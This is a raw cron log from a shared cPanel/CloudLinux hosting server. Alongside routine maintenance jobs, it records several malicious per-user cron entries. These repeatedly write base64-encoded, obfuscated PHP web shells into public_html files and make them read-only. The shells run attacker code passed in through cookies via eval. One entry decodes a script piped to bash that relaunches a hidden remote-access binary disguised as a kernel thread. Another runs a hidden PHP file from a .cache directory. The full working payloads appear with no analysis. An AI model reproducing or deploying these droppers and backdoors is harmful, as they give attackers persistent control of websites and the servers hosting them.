"UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:59:01 medusa CROND[10552]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 11:59:01 medusa CROND[10550]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:59:01 medusa CROND[10553]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:59:01 medusa CROND[10563]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:59:01 medusa CROND[10565]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:59:01 medusa CROND[10566]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:00:02 medusa CROND[32743]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:00:02 medusa CROND[465]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 12:00:02 medusa CROND[508]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 12:00:02 medusa CROND[509]: (root) CMD (   bash -c "sleep $((RANDOM % 1800))" ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Mar  1 12:00:02 medusa CROND[510]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 12:00:02 medusa CROND[511]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 12:00:02 medusa CROND[512]: (wmondolo) CMD (/usr/bin/php -q /home12/wmondolo/public_html/ot/cron/email_overdue_tickets.php > /dev/null)
Mar  1 12:00:02 medusa CROND[513]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 12:00:02 medusa CROND[518]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  1 12:00:02 medusa CROND[520]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  1 12:00:02 medusa CROND[521]: (wmondolo) CMD (/usr/bin/php -q /home12/wmondolo/public_html/lista/cron_insert_turno.php > /dev/null)
Mar  1 12:00:02 medusa CROND[522]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 12:00:02 medusa CROND[519]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 12:00:02 medusa CROND[529]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:00:02 medusa CROND[528]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:00:02 medusa CROND[525]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:00:02 medusa CROND[533]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 12:00:02 medusa CROND[531]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 12:00:02 medusa CROND[542]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 12:00:02 medusa CROND[543]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/monedas/cron.php >/dev/null 2>&1)
Mar  1 12:00:02 medusa CROND[547]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:00:02 medusa CROND[548]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:00:02 medusa CROND[541]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 12:00:02 medusa CROND[549]: (roble) CMD ({ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMTc3IGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9IFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWU4L3JvYmxlLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvaG9tZTgvcm9ibGUvLmNvbmZpZy9odG9wL2RlZnVuY3QnIiAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel)
Mar  1 12:00:02 medusa CROND[556]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 12:00:02 medusa CROND[546]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:00:02 medusa CROND[566]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:00:02 medusa CROND[568]: (root) CMD (/usr/bin/flock -n /var/run/cpapi_cache_upd_lock /opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import invalidate_cpapi_cache; invalidate_cpapi_cache()" &> /dev/null)
Mar  1 12:00:02 medusa CROND[573]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:00:02 medusa CROND[565]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 12:00:02 medusa CROND[567]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Mar  1 12:00:02 medusa CROND[570]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 12:00:02 medusa CROND[579]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:00:02 medusa CROND[564]: (root) CMD (/nutscripts/check_mail_blocked.sh > /dev/null 2>&1)
Mar  1 12:00:02 medusa CROND[569]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 12:00:02 medusa CROND[578]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:00:02 medusa CROND[572]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 12:00:02 medusa CROND[577]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 12:00:02 medusa CROND[586]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 12:00:02 medusa CROND[585]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 12:00:02 medusa CROND[554]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/senddigests)
Mar  1 12:01:01 medusa CROND[22826]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:01:01 medusa CROND[22827]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 12:01:01 medusa CROND[22828]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:01:01 medusa CROND[22829]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:01:01 medusa CROND[22830]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:01:01 medusa CROND[22832]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:01:01 medusa CROND[22835]: (root) CMD (run-parts /etc/cron.hourly)
Mar  1 12:01:01 medusa CROND[22834]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
